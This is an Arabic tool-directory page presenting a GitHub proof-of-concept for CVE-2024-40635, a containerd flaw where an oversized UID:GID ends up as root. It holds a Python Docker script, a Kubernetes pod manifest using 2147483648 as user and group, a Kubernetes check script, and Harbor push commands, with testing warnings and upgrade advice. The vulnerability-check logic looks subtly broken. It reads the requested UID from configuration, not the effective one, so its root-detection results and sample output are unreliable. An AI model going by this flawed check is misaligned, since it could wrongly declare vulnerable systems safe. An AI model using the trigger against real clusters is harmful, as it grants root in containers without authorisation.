Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/yen5004/cve-2024-40635_poc
أمن الحاوياتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقأمن السحابةالتعلم والتعليم
GitHubyen5004/cve-2024-40635_poc

CVE-2024-40635_POC

كود إثبات المفهوم لإثبات ثغرة CVE-2024-40635

عرض المستودع
8منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-40635_POC

كود إثبات المفهوم لإثبات الثغرة CVE-2024-40635 تم جمع البيانات من هنا: https://nvd.nist.gov/vuln/detail/CVE-2024-40635

1. استيراد مكتبة Docker

import docker

هذا يستورد مكتبة Python الخاصة بـ Docker، والتي تسمح بالتفاعل مع Docker باستخدام واجهة برمجة التطبيقات الخاصة به. إذا لم تكن هذه المكتبة مثبتة، يمكنك إضافتها عن طريق تشغيل:

pip install docker

2. تهيئة عميل Docker

client = docker.from_env()

هنا، نقوم بإنشاء كائن عميل Docker باستخدام الدالة docker.from_env(). هذا يتصل بخدمة Docker التي تعمل على جهازك (أو مضيف بعيد، إذا تم تكوينه).

3. تعريف دالة للتحقق من الثغرة

def is_system_vulnerable(container):
    try:
        # فحص تفاصيل الحاوية
        details = container.attrs
        uid_gid = details['Config']['User']
        print(f"UID:GID للحاوية = {uid_gid}")  # طباعة UID:GID
        if uid_gid == "0:0":  # UID:GID الجذر
            return True
        return False
    except Exception as e:
        print(f"خطأ في فحص تفاصيل الحاوية: {e}")
        return False
  • الغرض: تتحقق هذه الدالة مما إذا كان النظام معرضًا للثغرة عن طريق فحص سمات الحاوية المنشأة.

  • الخطوات الرئيسية:

    • container.attrs: جلب جميع البيانات الوصفية حول الحاوية (الإعدادات، إعدادات وقت التشغيل، إلخ).

    • details['Config']['User']: استخراج UID:GID (معرف المستخدم والمجموعة) الذي تعمل تحته الحاوية. هذه هي الخاصية التي نختبرها.

    • print(f"UID:GID للحاوية = {uid_gid}"): دائمًا ما يطبع UID:GID للرؤية.

    • التحقق من الثغرة: إذا كان UID:GID يساوي "0:0"، فهذا يشير إلى أن الحاوية تعمل بصلاحيات الجذر، وبالتالي النظام معرض للثغرة.

4. تشغيل حاوية Docker

container = client.containers.run(
    "vulnerable-image",  # استبدل بصورتك الاختبارية
    user="2147483648:2147483648",  # UID:GID يتجاوز العدد الصحيح الموقّع 32 بت
    detach=True
)
  • client.containers.run: ينشئ ويبدأ حاوية Docker.

    • "vulnerable-image": استبدل هذا باسم صورة Docker فعلية مناسبة للاختبار.

    • user="2147483648:2147483648": هنا، نضع معرف مستخدم ومجموعة مخصصين (UID:GID). القيم تتجاوز نطاق العدد الصحيح الموقّع 32 بت، وهو الشرط المحفز للثغرة.

    • detach=True: يضمن تشغيل الحاوية في الخلفية، مما يسمح للسكريبت بالمتابعة دون انتظار انتهاء الحاوية.

5. التحقق من الأخطاء

try:
    ...
except Exception as e:
    print(f"خطأ: {e}")

تضمن كتلة try-except هذه التقاط أي أخطاء أثناء إنشاء الحاوية أو تنفيذها وطباعتها، لتجنب إنهاء السكريبت بشكل مفاجئ.

6. طباعة معرف الحاوية

print(f"تم بدء الحاوية {container.id}.")

بمجرد إنشاء الحاوية وبدء تشغيلها بنجاح، تتم طباعة معرفها الفريد للرجوع إليه. هذا مفيد لتصحيح الأخطاء أو فحص الحاوية بشكل أعمق.

7. استدعاء التحقق من الثغرة

if is_system_vulnerable(container):
    print("النظام معرض للثغرة: الحاوية تعمل كجذر!")
else:
    print("النظام غير معرض للثغرة.")

هذا يستدعي الدالة is_system_vulnerable، ويمرر الحاوية المنشأة كوسيطة.

بناءً على النتيجة (True للثغرة، False لعدم الثغرة)، يطبع رسالة مقابلة.

8. تفاصيل المخرجات

صُمم السكريبت لتوفير معلومات مفصلة في مخرجاته، بما في ذلك:

  • UID:GID المخصص للحاوية.

  • إشارة واضحة إلى ما إذا كان النظام معرضًا للثغرة أم لا.

مثال توضيحي:

تخيل أن هذا السكريبت يُشغل في بيئة اختبار، ويحدث ما يلي:

  1. يتم إنشاء حاوية باستخدام الصورة المعرضة للثغرة والمستخدم 2147483648:2147483648.
  2. أثناء التحقق من الثغرة، يفسر النظام هذه المعرفات على أنها 0:0 (جذر)، مما يتسبب في تشغيل الحاوية بصلاحيات الجذر.
  3. يحدد السكريبت هذا السلوك، ويطبع:
تم بدء الحاوية abc123.
UID:GID للحاوية = 0:0
النظام معرض للثغرة: الحاوية تعمل كجذر!

بدلاً من ذلك، إذا تعامل النظام بشكل صحيح مع قيم UID:GID الكبيرة ولم يربطها بالجذر، فقد ترى:

تم بدء الحاوية xyz456.
UID:GID للحاوية = 2147483648:2147483648
النظام غير معرض للثغرة.

ملاحظات للاختبار:

  • استخدم بيئة معزولة (مثل جهاز افتراضي) لتجنب تعريض أنظمة الإنتاج للخطر.
  • استبدل "vulnerable-image" بصورة Docker تناسب سيناريو الاختبار الخاص بك (مثل صورة ذات تبعيات قليلة).
  • تأكد من تثبيت Docker وإمكانية الوصول إليه من بيئة Python.

التشغيل من داخل بيئة

تشغيل إثبات المفهوم (PoC) هذا في بيئة حية مثل Kubernetes وHarbor لاختبار الاختراق يتطلب تخطيطًا دقيقًا لضمان أن الاختبار محكوم وأخلاقي ومؤثر. فيما يلي تفصيل لكيفية القيام بذلك:

1. التخطيط والتحضير فهم النطاق: حدد حدود الاختبار الخاص بك. تأكد من أن لديك أذونات صريحة لإجراء اختبار الاختراق في البيئة الحية.

2. النسخ الاحتياطي: قم بإنشاء نسخ احتياطية من الأنظمة والحاويات الهامة في حال أثر الاختبار على توفرها أو بياناتها.

3. بيئة الاختبار: قم بإعداد مساحة أسماء (namespace) أو مجموعة (cluster) منفصلة داخل Kubernetes مخصصة لهذا PoC لتجنب التأثير على أحمال العمل الإنتاجية.

  1. استخدام Kubernetes للاختبار إليك كيف يمكنك دمج PoC في Kubernetes: أ. نشر الإصدار المعرض للثغرة
  • انشر حاوية باستخدام الإصدار المعرض للثغرة من containerd (v1.6.35-gke.0) داخل مجموعة Kubernetes الخاصة بك.

  • استخدم صورة Docker (مثل "vulnerable-image") ذات تبعيات قليلة للحفاظ على سطح الهجوم صغيرًا.

مثال YAML لنشر Kubernetes:

apiVersion: v1
kind: Pod
metadata:
  name: vulnerable-pod
  namespace: pentest
spec:
  containers:
  - name: vulnerable-container
    image: vulnerable-image  # استبدل بصورتك الاختبارية
    securityContext:
      runAsUser: 2147483648  # تجاوز عمدي للعدد الصحيح الموقّع 32 بت
      runAsGroup: 2147483648

طبق الـ YAML باستخدام:

kubectl apply -f pod.yml

ب. التحقق باستخدام PoC

  • قم بتشغيل سكريبت Python الذي طورته من جهاز لديه وصول إلى مجموعة Kubernetes. على سبيل المثال، يمكنك تعديل السكريبت للتفاعل مع Kubernetes باستخدام مكتبة kubernetes الخاصة بـ Python.

  • قم بتثبيتها باستخدام:

pip install kubernetes

إليك مقتطف محدث لتكامل Kubernetes:

from kubernetes import client, config

# تحميل تكوين Kubernetes
config.load_kube_config()

# إنشاء عميل API لـ Kubernetes
v1 = client.CoreV1Api()

# التحقق من UID:GID للبود المحدد
def check_pod_user(pod_name, namespace):
    pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
    uid = pod.spec.containers[0].security_context.run_as_user
    gid = pod.spec.containers[0].security_context.run_as_group
    print(f"UID:GID للبود {pod_name} = {uid}:{gid}")
    if uid == 0 and gid == 0:
        print("النظام معرض للثغرة: البود يعمل كجذر!")
    else:
        print("النظام غير معرض للثغرة.")

check_pod_user("vulnerable-pod", "pentest")
  1. استخدام Harbor لإدارة الصور بما أن Harbor هو سجل للحاويات، يمكنك:
  • دفع الصورة المعرضة للثغرة: قم بوسم (tag) الصورة المعرضة للثغرة ودفعها إلى Harbor:
docker tag vulnerable-image harbor.local/vulnerable-image:latest
docker push harbor.local/vulnerable-image:latest
  • سحب الصورة للاختبار: تأكد من أن بود Kubernetes يستخدم الصورة من Harbor عن طريق تحديد مسار Harbor الكامل في حقل image لملف YAML.

يتيح لك Harbor التحكم في الوصول إلى الصور، لذا قم بتقييد الوصول لضمان استخدام الصورة المعرضة للثغرة فقط في اختبار الاختراق.

  1. التحقق وتوثيق النتائج
  • التحقق: بعد تشغيل PoC، تحقق من السجلات بحثًا عن أي مؤشرات على تفعيل الثغرة. على سبيل المثال، تأكد مما إذا كانت الحاوية (أو البود) تعمل كجذر.

  • التوثيق: سجل النتائج التي توصلت إليها، مثل:

    • UID:GID المخصص للحاوية أو البود.
    • السجلات أو المخرجات التي تشير إلى ما إذا كان النظام معرضًا للثغرة.
    • توصيات للتخفيف (مثل ترقية containerd إلى إصدار مثبت).
  1. التخفيف بمجرد اكتمال الاختبار:
  • قم بتصحيح بيئتك عن طريق ترقية containerd إلى إصدار مثبت (1.6.38 أو أحدث).
  • فرض سياسات أمان (مثل استخدام PodSecurityPolicy أو Open Policy Agent) لمنع تشغيل الحاويات ذات تكوينات UID:GID غير الآمنة.

تحذير

  • قم بإجراء الاختبار فقط في بيئة تتحكم فيها أو لديك إذن صريح باختبارها.
  • تأكد من عدم نشر الصورة المعرضة للثغرة خارج بيئة الاختبار.
  • تعامل مع النتائج الحساسة بمسؤولية عن طريق الإبلاغ بها إلى مؤسستك.
تنزيل الأداة